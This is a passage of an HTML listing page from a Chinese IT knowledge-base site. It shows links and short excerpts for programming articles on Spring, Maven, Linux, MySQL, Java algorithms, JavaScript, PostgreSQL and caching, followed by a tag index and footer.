                    <li><a href="/article/1882207556886130688.htm"
                           title="SpringBoot之定义接口返回类型有几种方式?" target="_blank">SpringBoot之定义接口返回类型有几种方式?</a>
                        <span class="text-muted">java熬夜党</span>
<a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a>
                        <div>SpringBoot系列教程之定义接口返回类型的几种方式实现一个web接口返回json数据,基本上是每一个javaer非常熟悉的事情了;那么问题来了,如果我有一个接口,除了希望返回json格式的数据之外,若也希望可以返回xml格式数据可行么?答案当然是可行的,接下来我们将介绍一下,一个接口的返回数据类型,可以怎么处理I.项目搭建本文创建的实例工程采用SpringBoot2.2.1.RELEASE+</div>
                    </li>
                    <li><a href="/article/1882206421651615744.htm"
                           title="深入解析Spring AI框架:在Java应用中实现智能化交互的关键" target="_blank">深入解析Spring AI框架:在Java应用中实现智能化交互的关键</a>
                        <span class="text-muted">鵝鵝鵝</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>合集-Spring源码分析(22)1.Spring入门系列:浅析知识点2023-04-102.Spring源码系列:初探底层,手写Spring2023-04-123.Spring源码系列:核心概念解析2023-04-204.Spring源码系列(补充):详解ApplicationContext2023-04-215.Spring源码:bean的生命周期(一)2023-05-016.Spring源码</div>
                    </li>
                                <li><a href="/article/71.htm"
                                       title="Linux的Initrd机制" target="_blank">Linux的Initrd机制</a>
                                    <span class="text-muted">被触发</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                                    <div>Linux 的 initrd 技术是一个非常普遍使用的机制,linux2.6 内核的 initrd 的文件格式由原来的文件系统镜像文件转变成了 cpio 格式,变化不仅反映在文件格式上, linux 内核对这两种格式的 initrd 的处理有着截然的不同。本文首先介绍了什么是 initrd 技术,然后分别介绍了 Linux2.4 内核和 2.6 内核的 initrd 的处理流程。最后通过对 Lin</div>
                                </li>
                                <li><a href="/article/198.htm"
                                       title="maven本地仓库路径修改" target="_blank">maven本地仓库路径修改</a>
                                    <span class="text-muted">bitcarter</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>默认maven本地仓库路径:C:\Users\Administrator\.m2 
 
修改maven本地仓库路径方法: 
&nbsp;&nbsp;&nbsp; 
1.打开E:\maven\apache-maven-2.2.1\conf\settings.xml 
&nbsp;&nbsp;&nbsp; 
2.找到 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp</div>
                                </li>
                                <li><a href="/article/325.htm"
                                       title="XSD和XML中的命名空间" target="_blank">XSD和XML中的命名空间</a>
                                    <span class="text-muted">darrenzhu</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/xsd/1.htm">xsd</a><a class="tag" taget="_blank" href="/search/schema/1.htm">schema</a><a class="tag" taget="_blank" href="/search/namespace/1.htm">namespace</a><a class="tag" taget="_blank" href="/search/%E5%91%BD%E5%90%8D%E7%A9%BA%E9%97%B4/1.htm">命名空间</a>
                                    <div>http://www.360doc.com/content/12/0418/10/9437165_204585479.shtml 

http://blog.csdn.net/wanghuan203/article/details/9203621 

http://blog.csdn.net/wanghuan203/article/details/9204337 
 

http://www.cn</div>
                                </li>
                                <li><a href="/article/452.htm"
                                       title="Java 求素数运算" target="_blank">Java 求素数运算</a>
                                    <span class="text-muted">周凡杨</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E7%B4%A0%E6%95%B0/1.htm">素数</a>
                                    <div>网络上对求素数之解数不胜数,我在此总结归纳一下,同时对一些编码,加以改进,效率有成倍热提高。   
第一种:    
&nbsp; 
原理: 6N(+-)1法      &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 任何一个自然数,总可以表示成为如下的形式之一: 6N,6N+1,6N+2,6N+3,6N+4,6N+5 (N=0,1,2,…)  &nbsp;&nbsp;</div>
                                </li>
                                <li><a href="/article/579.htm"
                                       title="java 单例模式" target="_blank">java 单例模式</a>
                                    <span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>想必单例模式大家都不会陌生,有如下两种方式来实现单例模式: 
&nbsp; 
class Singleton {
  private static Singleton instance=new Singleton();
  private Singleton(){}
  static Singleton getInstance() {
      return instance;
  }</div>
                                </li>
                                <li><a href="/article/706.htm"
                                       title="Linux下Mysql源码安装" target="_blank">Linux下Mysql源码安装</a>
                                    <span class="text-muted">510888780</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>1.假设已经有mysql-5.6.23-linux-glibc2.5-x86_64.tar.gz 
 
(1)创建mysql的安装目录及数据库存放目录&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
解压缩下载的源码包,目录结构,特殊指定的目录除外: 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div>
                                </li>
                                <li><a href="/article/833.htm"
                                       title="32位和64位操作系统" target="_blank">32位和64位操作系统</a>
                                    <span class="text-muted">墙头上一根草</span>
<a class="tag" taget="_blank" href="/search/32%E4%BD%8D%E5%92%8C64%E4%BD%8D%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/1.htm">32位和64位操作系统</a>
                                    <div>32位和64位操作系统是指:CPU一次处理数据的能力是32位还是64位。现在市场上的CPU一般都是64位的,但是这些CPU并不是真正意义上的64 位CPU,里面依然保留了大部分32位的技术,只是进行了部分64位的改进。32位和64位的区别还涉及了内存的寻址方面,32位系统的最大寻址空间是2 的32次方= 4294967296(bit)= 4(GB)左右,而64位系统的最大寻址空间的寻址空间则达到了</div>
                                </li>
                                <li><a href="/article/960.htm"
                                       title="我的spring学习笔记10-轻量级_Spring框架" target="_blank">我的spring学习笔记10-轻量级_Spring框架</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/Spring+3/1.htm">Spring 3</a>
                                    <div>一、问题提问: 
 
&nbsp;&nbsp;&nbsp; → 请简单介绍一下什么是轻量级? 
 
&nbsp;&nbsp;&nbsp; 轻量级(Leightweight)是相对于一些重量级的容器来说的,比如Spring的核心是一个轻量级的容器,Spring的核心包在文件容量上只有不到1M大小,使用Spring核心包所需要的资源也是很少的,您甚至可以在小型设备中使用Spring。 
 
&nbsp</div>
                                </li>
                                <li><a href="/article/1087.htm"
                                       title="mongodb 环境搭建及简单CURD" target="_blank">mongodb 环境搭建及简单CURD</a>
                                    <span class="text-muted">antlove</span>
<a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/Install/1.htm">Install</a><a class="tag" taget="_blank" href="/search/curd/1.htm">curd</a><a class="tag" taget="_blank" href="/search/NoSQL/1.htm">NoSQL</a><a class="tag" taget="_blank" href="/search/mongo/1.htm">mongo</a>
                                    <div>一 搭建mongodb环境 
1. 在mongo官网下载mongodb 
2. 在本地创建目录 &quot;D:\Program Files\mongodb-win32-i386-2.6.4\data\db&quot; 
3. 运行mongodb服务 [mongod.exe --dbpath &quot;D:\Program Files\mongodb-win32-i386-2.6.4\data\</div>
                                </li>
                                <li><a href="/article/1214.htm"
                                       title="数据字典和动态视图" target="_blank">数据字典和动态视图</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%AD%97%E5%85%B8/1.htm">数据字典</a><a class="tag" taget="_blank" href="/search/%E5%8A%A8%E6%80%81%E8%A7%86%E5%9B%BE/1.htm">动态视图</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F%E5%92%8C%E5%AF%B9%E8%B1%A1%E6%9D%83%E9%99%90/1.htm">系统和对象权限</a>
                                    <div>数据字典(data dictionary)是 Oracle 数据库的一个重要组成部分,这是一组用于记录数据库信息的只读(read-only)表。随着数据库的启动而启动,数据库关闭时数据字典也关闭&nbsp;&nbsp; 数据字典中包含 
&nbsp; 
 
 数据库中所有方案对象(schema object)的定义(包括表,视图,索引,簇,同义词,序列,过程,函数,包,触发器等等) 
 数据库为一</div>
                                </li>
                                <li><a href="/article/1341.htm"
                                       title="多线程编程一般规则" target="_blank">多线程编程一般规则</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/thread/1.htm">thread</a><a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a><a class="tag" taget="_blank" href="/search/java%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">java多线程</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果两个工两个以上的线程都修改一个对象,那么把执行修改的方法定义为被同步的,如果对象更新影响到只读方法,那么只读方法也要定义成同步的。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不要滥用同步。如果在一个对象内的不同的方法访问的不是同一个数据,就不要将方法设置为synchronized的。 
</div>
                                </li>
                                <li><a href="/article/1468.htm"
                                       title="将文件或目录拷贝到另一个Linux系统的命令scp" target="_blank">将文件或目录拷贝到另一个Linux系统的命令scp</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/unix/1.htm">unix</a><a class="tag" taget="_blank" href="/search/scp/1.htm">scp</a>
                                    <div>一.功能说明&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scp就是security copy,用于将文件或者目录从一个Linux系统拷贝到另一个Linux系统下。scp传输数据用的是SSH协议,保证了数据传输的安全,其格式如下:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scp 远程用户名@IP地址:文件的绝对路径</div>
                                </li>
                                <li><a href="/article/1595.htm"
                                       title="【持久化框架MyBatis3五】MyBatis3一对多关联查询" target="_blank">【持久化框架MyBatis3五】MyBatis3一对多关联查询</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/Mybatis3/1.htm">Mybatis3</a>
                                    <div>以教员和课程为例介绍一对多关联关系,在这里认为一个教员可以叫多门课程,而一门课程只有1个教员教,这种关系在实际中不太常见,通过教员和课程是多对多的关系。 
&nbsp; 示例数据:
  
&nbsp; 
地址表: 
&nbsp; 
CREATE TABLE ADDRESSES 
(
  ADDR_ID INT(11) NOT NULL AUTO_INCREMENT,
  STREET VAR</div>
                                </li>
                                <li><a href="/article/1722.htm"
                                       title="cookie状态判断引发的查找问题" target="_blank">cookie状态判断引发的查找问题</a>
                                    <span class="text-muted">bitcarter</span>
<a class="tag" taget="_blank" href="/search/form/1.htm">form</a><a class="tag" taget="_blank" href="/search/cgi/1.htm">cgi</a>
                                    <div>先说一下我们的业务背景: 
1.前台将图片和文本通过form表单提交到后台,图片我们都做了base64的编码,并且前台图片进行了压缩 
2.form中action是一个cgi服务 
3.后台cgi服务同时供PC,H5,APP 
4.后台cgi中调用公共的cookie状态判断方法(公共的,大家都用,几年了没有问题) 
 
问题:(折腾两天。。。。) 
1.PC端cgi服务正常调用,cookie判断没</div>
                                </li>
                                <li><a href="/article/1849.htm"
                                       title="通过Nginx,Tomcat访问日志(access log)记录请求耗时" target="_blank">通过Nginx,Tomcat访问日志(access log)记录请求耗时</a>
                                    <span class="text-muted">ronin47</span>

                                    <div>一、Nginx通过$upstream_response_time $request_time统计请求和后台服务响应时间 
nginx.conf使用配置方式: 
log_format main '$remote_addr - $remote_user [$time_local] &quot;$request&quot; ''$status $body_bytes_sent &quot;$http_r</div>
                                </li>
                                <li><a href="/article/1976.htm"
                                       title="java-67- n个骰子的点数。 把n个骰子扔在地上,所有骰子朝上一面的点数之和为S。输入n,打印出S的所有可能的值出现的概率。" target="_blank">java-67- n个骰子的点数。 把n个骰子扔在地上,所有骰子朝上一面的点数之和为S。输入n,打印出S的所有可能的值出现的概率。</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>

public class ProbabilityOfDice {

	/**
	 * Q67 n个骰子的点数
	 * 把n个骰子扔在地上,所有骰子朝上一面的点数之和为S。输入n,打印出S的所有可能的值出现的概率。
	 * 在以下求解过程中,我们把骰子看作是有序的。
	 * 例如当n=2时,我们认为(1,2)和(2,1)是两种不同的情况
	 */
	private stati</div>
                                </li>
                                <li><a href="/article/2103.htm"
                                       title="看别人的博客,觉得心情很好" target="_blank">看别人的博客,觉得心情很好</a>
                                    <span class="text-muted">Cb123456</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%9A%E5%AE%A2/1.htm">博客</a><a class="tag" taget="_blank" href="/search/%E5%BF%83%E6%83%85/1.htm">心情</a>
                                    <div>&nbsp; &nbsp;以为写博客,就是总结,就和日记一样吧,同时也在督促自己。今天看了好长时间博客: 
&nbsp; &nbsp;职业规划: 
&nbsp; &nbsp;http://www.iteye.com/blogs/subjects/zhiyeguihua 
&nbsp; 
&nbsp; &nbsp;android学习: 
&nbsp; &nbsp;1.http://byandby.i</div>
                                </li>
                                <li><a href="/article/2230.htm"
                                       title="[JWFD开源工作流]尝试用原生代码引擎实现循环反馈拓扑分析" target="_blank">[JWFD开源工作流]尝试用原生代码引擎实现循环反馈拓扑分析</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C%E6%B5%81/1.htm">工作流</a>
                                    <div> 
&nbsp;&nbsp;&nbsp; 我们已经不满足于仅仅跳跃一次,通过对引擎的升级,今天我测试了一下循环反馈模式,大概跑了200圈,引擎报一个溢出错误 
 
&nbsp;&nbsp;&nbsp;&nbsp; 在一个流程图的结束节点中嵌入一段方程,每次引擎运行到这个节点的时候,通过实时编译器GM模块,计算这个方程,计算结果与预设值进行比较,符合条件则跳跃到开始节点,继续新一轮拓扑分析,直到遇到</div>
                                </li>
                                <li><a href="/article/2357.htm"
                                       title="JS常用的事件及方法" target="_blank">JS常用的事件及方法</a>
                                    <span class="text-muted">cwqcwqmax9</span>
<a class="tag" taget="_blank" href="/search/js/1.htm">js</a>
                                    <div>事件 描述 
onactivate 当对象设置为活动元素时触发。 
onafterupdate 当成功更新数据源对象中的关联对象后在数据绑定对象上触发。 
onbeforeactivate 对象要被设置为当前元素前立即触发。 
onbeforecut 当选中区从文档中删除之前在源对象触发。 
onbeforedeactivate 在 activeElement 从当前对象变为父文档其它对象之前立即</div>
                                </li>
                                <li><a href="/article/2484.htm"
                                       title="正则表达式验证日期格式" target="_blank">正则表达式验证日期格式</a>
                                    <span class="text-muted">dashuaifu</span>
<a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a><a class="tag" taget="_blank" href="/search/IT%E5%85%B6%E5%AE%83/1.htm">IT其它</a><a class="tag" taget="_blank" href="/search/java%E5%85%B6%E5%AE%83/1.htm">java其它</a>
                                    <div>                 正则表达式验证日期格式

function isDate(d){
 var v = d.match(/^(\d{4})-(\d{1,2})-(\d{1,2})$/i);
 if(!v) {
  this.focus();
  return false;
 }
}
&lt;input value=&quot;2000-8-8&quot; onblu</div>
                                </li>
                                <li><a href="/article/2611.htm"
                                       title="Yii CModel.rules() 方法 、validate预定义完整列表、以及说说验证" target="_blank">Yii CModel.rules() 方法 、validate预定义完整列表、以及说说验证</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a>
                                    <div>public array rules ()&nbsp;{return}&nbsp;array 要调用 validate() 时应用的有效性规则。&nbsp;返回属性的有效性规则。声明验证规则,应重写此方法。 每个规则是数组具有以下结构:array('attribute list', 'validator name', 'on'=&gt;'scenario name', ...validation </div>
                                </li>
                                <li><a href="/article/2738.htm"
                                       title="UITextAttributeTextColor = deprecated in iOS 7.0" target="_blank">UITextAttributeTextColor = deprecated in iOS 7.0</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/ios/1.htm">ios</a>
                                    <div>In this lesson we used the key &quot;UITextAttributeTextColor&quot; to change the color of the UINavigationBar appearance to white. This prompts a warning &quot;first deprecated in iOS 7.0.&quot; 
Ins</div>
                                </li>
                                <li><a href="/article/2865.htm"
                                       title="判断一个数是质数的几种方法" target="_blank">判断一个数是质数的几种方法</a>
                                    <span class="text-muted">EmmaZhao</span>
<a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a>
                                    <div>质数也叫素数,是只能被1和它本身整除的正整数,最小的质数是2,目前发现的最大的质数是p=2^57885161-1【注1】。 
判断一个数是质数的最简单的方法如下: 
 

def isPrime1(n):
	for i in range(2, n):
		if n % i == 0:
			return False
	return True
 
但是在上面的方法中有一些冗余的计算,所以</div>
                                </li>
                                <li><a href="/article/2992.htm"
                                       title="SpringSecurity工作原理小解读" target="_blank">SpringSecurity工作原理小解读</a>
                                    <span class="text-muted">坏我一锅粥</span>
<a class="tag" taget="_blank" href="/search/SpringSecurity/1.htm">SpringSecurity</a>
                                    <div> 
 &nbsp; SecurityContextPersistenceFilter 
 &nbsp; ConcurrentSessionFilter 
 &nbsp; WebAsyncManagerIntegrationFilter 
 &nbsp; HeaderWriterFilter 
 &nbsp; CsrfFilter 
 &nbsp; LogoutFilter 
 &nbsp; Use</div>
                                </li>
                                <li><a href="/article/3119.htm"
                                       title="JS实现自适应宽度的Tag切换" target="_blank">JS实现自适应宽度的Tag切换</a>
                                    <span class="text-muted">ini</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a>
                                    <div>效果体验:http://hovertree.com/texiao/js/3.htm 
&nbsp; 
该效果使用纯JavaScript代码,实现TAB页切换效果,TAB标签根据内容自适应宽度,点击TAB标签切换内容页。 
HTML文件代码: 
&lt;!DOCTYPE html&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;</div>
                                </li>
                                <li><a href="/article/3246.htm"
                                       title="Hbase Rest API : 数据查询" target="_blank">Hbase Rest API : 数据查询</a>
                                    <span class="text-muted">kane_xie</span>
<a class="tag" taget="_blank" href="/search/REST/1.htm">REST</a><a class="tag" taget="_blank" href="/search/hbase/1.htm">hbase</a>
                                    <div>hbase(hadoop)是用java编写的,有些语言(例如python)能够对它提供良好的支持,但也有很多语言使用起来并不是那么方便,比如c#只能通过thrift访问。Rest就能很好的解决这个问题。Hbase的org.apache.hadoop.hbase.rest包提供了rest接口,它内嵌了jetty作为servlet容器。 
&nbsp; 
启动命令:./bin/hbase rest s</div>
                                </li>
                                <li><a href="/article/3373.htm"
                                       title="JQuery实现鼠标拖动元素移动位置(源码+注释)" target="_blank">JQuery实现鼠标拖动元素移动位置(源码+注释)</a>
                                    <span class="text-muted">明子健</span>
<a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/js/1.htm">js</a><a class="tag" taget="_blank" href="/search/%E6%BA%90%E7%A0%81/1.htm">源码</a><a class="tag" taget="_blank" href="/search/%E6%8B%96%E5%8A%A8/1.htm">拖动</a><a class="tag" taget="_blank" href="/search/%E9%BC%A0%E6%A0%87/1.htm">鼠标</a>
                                    <div>欢迎讨论指正! 
&nbsp; 
print.html代码: 
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=Content-Type content=&quot;text/html;charset=utf-8&quot;&gt;
&lt;title&gt;发票打印&lt;/title&gt;
&l</div>
                                </li>
                                <li><a href="/article/3500.htm"
                                       title="Postgresql 连表更新字段语法 update" target="_blank">Postgresql 连表更新字段语法 update</a>
                                    <span class="text-muted">qifeifei</span>
<a class="tag" taget="_blank" href="/search/PostgreSQL/1.htm">PostgreSQL</a>
                                    <div>下面这段sql本来目的是想更新条件下的数据,可是这段sql却更新了整个表的数据。sql如下: 
UPDATE tops_visa.visa_order
SET op_audit_abort_pass_date = now()
FROM
	tops_visa.visa_order as  t1
INNER JOIN tops_visa.visa_visitor as t2 
ON t1. </div>
                                </li>
                                <li><a href="/article/3627.htm"
                                       title="将redis,memcache结合使用的方案?" target="_blank">将redis,memcache结合使用的方案?</a>
                                    <span class="text-muted">tcrct</span>
<a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/cache/1.htm">cache</a>
                                    <div>公司架构上使用了阿里云的服务,由于阿里的kvstore收费相当高,打算自建,自建后就需要自己维护,所以就有了一个想法,针对kvstore(redis)及ocs(memcache)的特点,想自己开发一个cache层,将需要用到list,set,map等redis方法的继续使用redis来完成,将整条记录放在memcache下,即findbyid,save等时就memcache,其它就对应使用redi</div>
                                </li>
                                <li><a href="/article/3754.htm"
                                       title="开发中遇到的诡异的bug" target="_blank">开发中遇到的诡异的bug</a>
                                    <span class="text-muted">wudixiaotie</span>
<a class="tag" taget="_blank" href="/search/bug/1.htm">bug</a>
                                    <div>今天我们服务器组遇到个问题: 
我们的服务是从Kafka里面取出数据,然后把offset存储到ssdb中,每个topic和partition都对应ssdb中不同的key,服务启动之后,每次kafka数据更新我们这边收到消息,然后存储之后就发现ssdb的值偶尔是-2,这就奇怪了,最开始我们是在代码中打印存储的日志,发现没什么问题,后来去查看ssdb的日志,才发现里面每次set的时候都会对同一个key</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>